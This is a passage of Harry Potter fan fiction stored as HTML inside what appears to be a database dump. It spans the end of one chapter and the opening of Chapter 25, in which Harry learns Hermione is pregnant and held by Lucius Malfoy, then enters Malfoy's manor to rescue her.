</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned back to face Justin. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about Hermione?&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I, um, I was hoping we could talk in private,&#8221; Justin said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took a deep breath. &#8220;Okay.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The others watched in silence as Justin and Harry walked out of the house and into the backyard. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Justin,&#8221; Harry said as they stood just outside the house. &#8220;I appreciate you coming here and everything, but I really don&#8217;t have the time.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know where she is, Harry,&#8221; Justin said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How do <i>you </i>know where she is?&#8221; Harry said, confused.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin exhaled. &#8220;It&#8217;s a long story and I don&#8217;t really have time to tell you everything, but she&#8217;s being held by Lucius Malfoy in an old mansion on <st1:street><st1:address>West Trenton Street</st1:address></st1:street>.&#8221; &nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know all of that, Justin,&#8221; Harry said. &#8220;Hang on. How do you know where she is?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin began to speak, but all that came out was stammering. Within seconds, Harry had pinned Justin against the wall of The Burrow. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;DID YOU HAVE ANYTHING TO DO WITH THIS?&#8221; Harry shouted at him. &#8220;ANSWER ME!&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Y-YES! Harry, please. Let me explain,&#8221; Justin pleaded. &#8220;Let me explain.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry released his grip on Justin. Justin stepped back from the wall and struggled to catch his breath. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, it&#8217;s true that I&#8217;ve been helping Malfoy. I thought that he could give me what I&#8217;d always wanted. I didn&#8217;t know how crazy he is, Harry. He&#8217;s insane. He&#8217;s been plotting against you for years.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is she okay?&#8221; Harry asked. &#8220;He hasn&#8217;t hurt her?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s okay. I mean, as well as can be expected,&#8221; Justin said. &#8220;He&#8217;s kept her in one of the bedrooms. He hasn&#8217;t hurt her. She doesn&#8217;t even know that he&#8217;s the one that has her.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry didn&#8217;t know whether to believe him or not. &#8220;How do I know you&#8217;re telling the truth? How do I know you&#8217;re not trying to play me right now? Did he send you here to throw me off the trail?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin shook his head. &#8220;I am telling you the truth.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;You&#8217;re the right hand man of the lead Death Eater and I&#8217;m supposed to believe anything you have to say?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Justin shrugged. &#8220;I know it sounds crazy, but yes, Harry, I think you should trust me. I&#8217;m doing this because I feel bad about what has happened. I hate what this has done. It&#8217;s been eating at me for weeks and if he knew I was here, he&#8217;d have me killed. You know that&#8217;s true. He has no idea I&#8217;m here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When Harry just continued to stare at him intently, Justin continued. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I couldn&#8217;t live with myself if I did nothing while he-&#8220;, Justin said. &#8220;Anyway, with Hermione pregnant, I just couldn&#8217;t-&#8220; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry felt as if he&#8217;d been hit in the stomach with Justin&#8217;s last sentence. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did you just say?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I, um, I said Hermione&#8217;s pregnant,&#8221; Justin said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s what Malfoy meant when his letter said &#8216;the two most important people&#8217; in my life,&#8221; Harry said, softly. Despite this, a smile played at his lips. Hermione was pregnant. She was pregnant with their child. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Awhile later, they&#8217;d all decided to take a break. The discussions had become heated as Sirius was still uncertain as to whether Harry should go in there alone. He&#8217;d finally relented, but Harry could tell he still didn&#8217;t support that decision. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry had Justin repeat his story for the others and they&#8217;d all predictably been just as upset as he was. They&#8217;d allowed him to stay behind to provide any extra information that he could. To prevent him from escaping, Sirius and Lupin had bound Justin&#8217;s arms and legs and sat him on the couch as they continued to plan. </p>\n\n<p>Harry had gone outside to get a breath of fresh air and was now sitting at the picnic table alone with his thoughts. He was thinking specifically about another time when someone had told him he wasn&#8217;t thinking straight. </p>\n\n<p><i>&#8220;Look, I&#8217;m sorry,&#8221; cried Hermione, &#8220;but neither of you are making sense, and we&#8217;ve got no proof for any of this, no proof Voldemort and Sirius are even there&#8212;&#8220;</i></p>\n\n<p><i>&#8220;Hermione, Harry&#8217;s seen them!&#8221; said Ron, rounding on her. </i></p>\n\n<blockquote><i>&#8220;Okay,&#8221; she said, looking frightened yet determined. &#8220;I&#8217;ve just got to say this&#8230;&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;What?&#8221; </i></blockquote>\n\n<blockquote><i>&#8220;You&#8230;This isn&#8217;t a criticism, Harry! But you do&#8230;sort of&#8230;I mean---don&#8217;t you think you&#8217;ve got a bit of a &#8211;a---saving people thing?&#8221; she said. </i></blockquote>\n\n<blockquote><i>He glared at her. &#8220;And what&#8217;s that supposed to mean, a &#8216;saving- people thing&#8217;?&#8221;</i></blockquote>\n\n<blockquote><i>&#8220;Well&#8230;you&#8230;&#8221; She looked more apprehensive than ever. &#8220;I mean&#8230;last year, for instance&#8230;in the lake&#8230;during the Tournament&#8230;you shouldn&#8217;t have &#8230;I mean you didn&#8217;t need to save that little Delacour girl&#8230;You got a bit&#8230;carried away&#8230;&#8221; </i></blockquote>\n\n<blockquote><i>A wave of hot, prickly anger swept Harry&#8217;s body---how could she remind him of that blunder now? </i></blockquote>\n\n<blockquote><i>&#8220;&#8230;I mean, it was really great of you and everything,&#8221; said Hermione quickly, looking positively petrified at the look on Harry&#8217;s face. &#8220;Everyone thought it was a wonderful thing to do&#8212;&#8220; </i></blockquote>\n\n<blockquote><i>&#8220;That&#8217;s funny,&#8221; said Harry through gritted teeth,&#8221;because I definitely remember Ron saying I&#8217;d wasted time acting the hero&#8230;is that what you think this is? You reckon I want to act the hero again?&#8221; </i></blockquote>\n\n<blockquote><i>&#8220;No, no, no!&#8221; said Hermione looking aghast. &#8220;That&#8217;s not what I mean at all.&#8221; </i></blockquote>\n\n<blockquote><i></i></blockquote>\n\n<p>His thoughts were interrupted, however, by Ron&#8217;s voice. &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, I&#8217;m thinking of leaving my career as a professional Quidditch player to join Snape as a comedic team. What do you think? I personally think he has it in him to be quite a funny guy. I mean, do you remember Potions? He was a laugh riot!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm?&#8221; Harry asked, finally looking up. He hadn&#8217;t even seen Ron approach him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you okay?&#8221; Ron asked. &#8220;I was asking if you thought this plan of ours was really going to work, but you looked lost in your thoughts, there. Sorry about my pathetic attempt at humor. It&#8217;s being related to George and Fred. You know how they are---quick with a joke to brighten up the darkest situations.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave a half-hearted smile. &#8220;Yeah, I know. I was just thinking.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;About what?&#8221; Ron asked. &#8220;Stupid question. I&#8217;ve been thinking about her a lot, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was remembering that time in fifth year when I was all hell-bent on going to find Sirius at The Department of Mysteries,&#8221; Harry said, he gave a small laugh. &#8220;And Hermione called me on that &#8216;saving-people thing&#8217; of mine.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron thought back on that for a moment. &#8220;Yeah, I remember that.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked seriously at him. &#8220;You called me on it, too, at this very table just a month ago when we came here to tell you about us. You were both right. I do have a saving-people thing.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, and thank Merlin for it, too,&#8221; Ron said. &#8220;A number of my family and friends might not be alive today if not for your &#8216;saving-people thing&#8217;. I&#8217;m serious, Harry. You can&#8217;t help it. It&#8217;s part of who you are. You were born to be the hero.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I never wanted to,&#8221; Harry said, wringing his hands. &#8220;I never wanted any of this.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s what makes you a good man. You didn&#8217;t ask for any of this, but you&#8217;ve risen to the occasion time and time again. It&#8217;s part of who you are. It&#8217;s part of who your dad and mum were,&#8221; Ron said. &#8220;We know that you don&#8217;t do any of this for the publicity. You do it to protect the people you love and care about.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Harry said, softly. &#8220;I appreciate that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, well,&#8221; Ron said. &#8220;You know what I just thought? If Hermione were here, she&#8217;d probably make us hug.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. &#8220;She probably would. We wouldn&#8217;t want to give her the satisfaction now, would we?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shook his head and tried to look indignant. &#8220;Of course not. Why don&#8217;t we agree on a simple handshake for now.&#8221; </p>\n\n<p>Harry smiled. &#8220;Yeah, alright.&#8221; <br>\n They shook hands and with a laugh headed back into the house. &nbsp;</p> '),
	(255, 25, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 10">\n\n<meta name="Originator" content="Microsoft Word 10">\n\n<link rel="File-List" href="chapter%2025_files/filelist.xml">\n\n<title>Authors Note: I would like to thank all of you again for the great reviews</title>\n\n<xml> Normal 2 149 2003-07-09T02:37:00Z 2003-07-09T02:37:00Z 1 3144 17921 149 42 21023 10.2625 </xml><xml> Clean Clean MicrosoftInternetExplorer4 </xml>\n\n<style>\n\n</style>\n\n<style> /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:10.0pt; font-family:"Times New Roman";} </style>\n\n<xml>\n\n</xml><xml>\n\n</xml>\n\n\n\n<p>Authors Note: I would like to thank all of you again for the great reviews. Yes, I goofed in the last chapter by using a flashback from Book Five that related to the death of a major character----in this next chapter, this should be cleared up&#8230;in my fanfiction he never died&#8230;.chapter should clear it up for you. I apologize for my goof! </p>\n\n<p>Chapter 25</p>\n\n<p>Game, Set, Match </p>\n\n<p>Ron was taking a rest in the sitting room at The Burrow and was just out of earshot as Sirius, Lupin and Harry went over last minute plans. As he sat there on the couch looking at his best friend of the past 12 years, he couldn&#8217;t remember a time when he&#8217;d ever seen Harry more determined or focused. He had every reason to be, Ron thought. There was so much on the line---the life of the woman they both loved and the life of Harry and Hermione&#8217;s unborn child. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Hermione&#8217;s child. A baby. Ron hadn&#8217;t let himself react when he&#8217;d first heard the news. Truth be told, he&#8217;d gone through so much in the past few weeks, he was numb to almost every new emotion or thought. Yes, he was angry that Harry had come back into their lives and stolen away the life that Ron had worked to build for himself with Hermione. Yet, Ron couldn&#8217;t escape the cold, hard truth that Hermione had never really been his to begin with. How could Harry steal something from Ron that he never really had? </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Looking back on it now, hindsight being 20/20 and all, Ron couldn&#8217;t believe he&#8217;d missed the signals that had been staring at him in the face. He remembered how Harry and Hermione had a way of always knowing what the other was thinking. They&#8217;d finish each others&#8217; sentences and many times had the same thoughts. He remembered how Hermione&#8217;s eyes would light up with even the slightest mention of Harry or how they&#8217;d shine when he walked into the room. He recalled the times he&#8217;d caught them exchanging glances when they thought no one was watching. Then, there was the emotional way she&#8217;d reacted when Harry had left them all behind years ago. She hadn&#8217;t told him then why it had broken her heart so. He wished she&#8217;d just have been honest with him from the start. Maybe then he wouldn&#8217;t have let himself fall so hard for her. Maybe he wouldn&#8217;t be hurting so much now. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was handling it so well, everyone had told him. It now seemed like such a long time ago since he&#8217;d confronted Harry and Hermione in his own backyard. He&#8217;d had a lot of time to reflect on things since that had happened. Even though it was painful to admit, it was good that it came out now instead of years later when neither of them were happy. You can&#8217;t marry someone whose heart belongs to someone else and expect to live happily ever after, Ron kept telling himself. It had become his mantra. It helped him get up in the morning. It helped him look at Harry and not want to rugby tackle him whenever he saw him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; His thoughts were interrupted by his mother&#8217;s familiar voice. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is everything ready?&#8221; Molly asked. She sat down on the couch beside her youngest son. She couldn&#8217;t hide the worried tone in her voice. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron nodded. &#8220;Yeah, I think so. They&#8217;re just going over some last minute details.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly sighed. She gave her son a half-hearted smile and absentmindedly began pinching lint off the couch. &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s on your mind, Mum?&#8221; Ron asked. &#8220;You look like you want to say something and being as I&#8217;ve known you all my life, I&#8217;ve never known you to let an opportunity to pass by. So, out with it. What do you have to say?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She suddenly enveloped Ron in a big bear hug. Ron could hear her begin to sob uncontrollably. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What is that for?&#8221; Ron said, breathlessly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She let go of him and looked at him, her eyes brimming with tears. &#8220;I just wanted you to know how very proud I am of you. Your father and I are so proud of the way you&#8217;ve carried yourself these past few weeks.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked nonplussed at her. &#8220;For what, mum? I haven&#8217;t done anything.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly shook her head. &#8220;No, Ronald. That&#8217;s not true. You have. The way you&#8217;ve handled all of this, it&#8217;s just been extraordinary. You know, no one would have blamed you if you&#8217;d buried your head in the sand, so to speak, but you haven&#8217;t done that. You&#8217;ve been strong and you&#8217;ve done all that you could to help bring Hermione home.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron shrugged. &#8220;She&#8217;d made her choice. I have to live with it. I mean, I&#8217;m certainly not happy with the way things went down, but I&#8217;ve got to live with it. I&#8217;ve always wanted her to be happy. It&#8217;s like I told Harry, if being with him makes her happy, then so be it. I can&#8217;t stand in her way.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly wiped a tear away from her eyes. &#8220;Someday, you are going to make some girl very happy. You are a good man, Ronald Weasley. And we&#8217;re damn proud to have you in this family.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She grabbed Ron again and gave him another big hug. She let him go and urged him to be careful tonight. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Of course,&#8221; Ron said, getting up from the couch. &#8220;Besides, now that I know I&#8217;m your favorite child, I have every reason to live. I suspected this all along, but to now have confirmation, it&#8217;s just icing on the cake.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly laughed through her tears. &#8220;Just don&#8217;t tell the others, they think they&#8217;re the favorite, too.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Your secret&#8217;s safe with me, Mum,&#8221; Ron said. He gave her a smile as he headed back into the kitchen. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was ready. There wasn&#8217;t any doubt about that. He was as ready as he could possibly be, considering he had no idea what awaited him at Malfoy&#8217;s manor house. Justin had been of some help, of course. He&#8217;d given them the layout of the house and let them know which room Malfoy held Hermione in. He&#8217;d let them know of the entrances, exits and passageways that existed in the house. These would be used should Harry need backup or reinforcements. For all of this, however, Justin couldn&#8217;t tell them what exactly Malfoy had planned. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He never let me in on those matters,&#8221; Justin had said. &#8220;He said it was on a need-to-know basis, and to him, that was something I didn&#8217;t need to know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; So, they wouldn&#8217;t be going in there blindsided, but they still had no idea what they were really going up against. Lupin had charmed a pin on Harry&#8217;s cloak that would allow the others to hear whatever Harry heard. It would also allow him to signal to the others if he needed help. The others would be stationed outside the house, ready and waiting if they were needed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry would be going in alone, though. It was all up to him. The outcome of all of this depended on him and him alone. He had too many people counting on him. He couldn&#8217;t fail. This was his most important mission. He&#8217;d lost too many people in his life and he couldn&#8217;t bear to lose the most important one. He&#8217;d lost his parents, Cedric, Hagrid. He&#8217;d even at one time thought he&#8217;d lost Sirius. That had been one of the lowest times in his life. He&#8217;d been so angry at that point in his life. He&#8217;d lost, or thought he&#8217;d lost, the person who had been like a father to him. He&#8217;d been ecstatic when he&#8217;d discovered a year later that Sirius had been alive and well, working to bring Voldemort down. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was now or never. He didn&#8217;t have any other option. He wouldn&#8217;t allow Malfoy or anyone else, for that matter, to destroy what he&#8217;d found. He had everything to live for now. Everything he&#8217;d been looking his whole life for was just within his grasp. He wasn&#8217;t going to let a deranged bastard like Malfoy take it all away from him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He thought again of Hermione. She was counting on him. She was waiting for him. She needed him. She loved him. He loved her. Loving her was just like breathing to him. It was automatic, it was natural. It just was. He had played the &#8220;what if&#8221; game in his head a number of times over the years. If he hadn&#8217;t left her behind five years ago, what would life have been like? They&#8217;d probably have been married by now. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No, he couldn&#8217;t think of the past now. He had to focus on the present. He had to focus on the here and now. Right now, that was all he had. The past was the past and there was nothing he could do about it now. He had to concentrate on the present. Then, and only then, could he plan on the future and the family he&#8217;d always wanted. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had all gathered just a block away from the Malfoy Manor. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t go in there unless I signal for you, okay? We can&#8217;t risk the chance of what he&#8217;ll do if he faces an ambush,&#8221; Harry said to Sirius and the others. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius nodded, solemnly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, this is it,&#8221; Harry said resolutely. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Be careful,&#8221; Lupin said. &#8220;Constant vigilance, remember?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Spoken like a true professor,&#8221; Harry said, rolling his eyes. &#8220;I got it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good luck, Harry,&#8221; Lupin said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron called to Harry before he walked away. &#8220;You can do it, Harry. Go in there and bring her back to us.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded. &#8220;I will.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They shook hands. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good luck.&#8221; Ron called after him as Harry walked away from them. They watched in silence as Harry turned the corner toward the manor house. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Right, then,&#8221; Sirius said, softly. &#8220;Let&#8217;s get into position.&#8221; As each man took their assigned place, they all said a silent prayer that this mission would be a success. </p>\n\n<p>Harry ascended the front steps of the house and noticed that the front door was slightly ajar. He hesitated for a brief second before pushing the door all the way open and stepping through. He took his wand from his cloak pocket and whispered, &#8220;<i>Lumos!&#8221; </i>The tip of the wand became illuminated and he walked into the foyer of the house. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The foyer was lit with a line of tapered candles on silver candelabras. The house was sparsely furnished and there were no decorations or artwork on the walls. The house was deafeningly silent and the only sound seemed to be coming from Harry&#8217;s heart, which seemed to be beating about a thousand beats per minute. He took a deep breath as he continued to walk down the hallway toward the staircase. The steps were lined with the tapered, lit candles. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Harry put his foot on the staircase, a chilling voice came from upstairs. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How nice of you to join us, Potter,&#8221; Malfoy said. &#8220;It&#8217;s been a long time coming, hasn&#8217;t 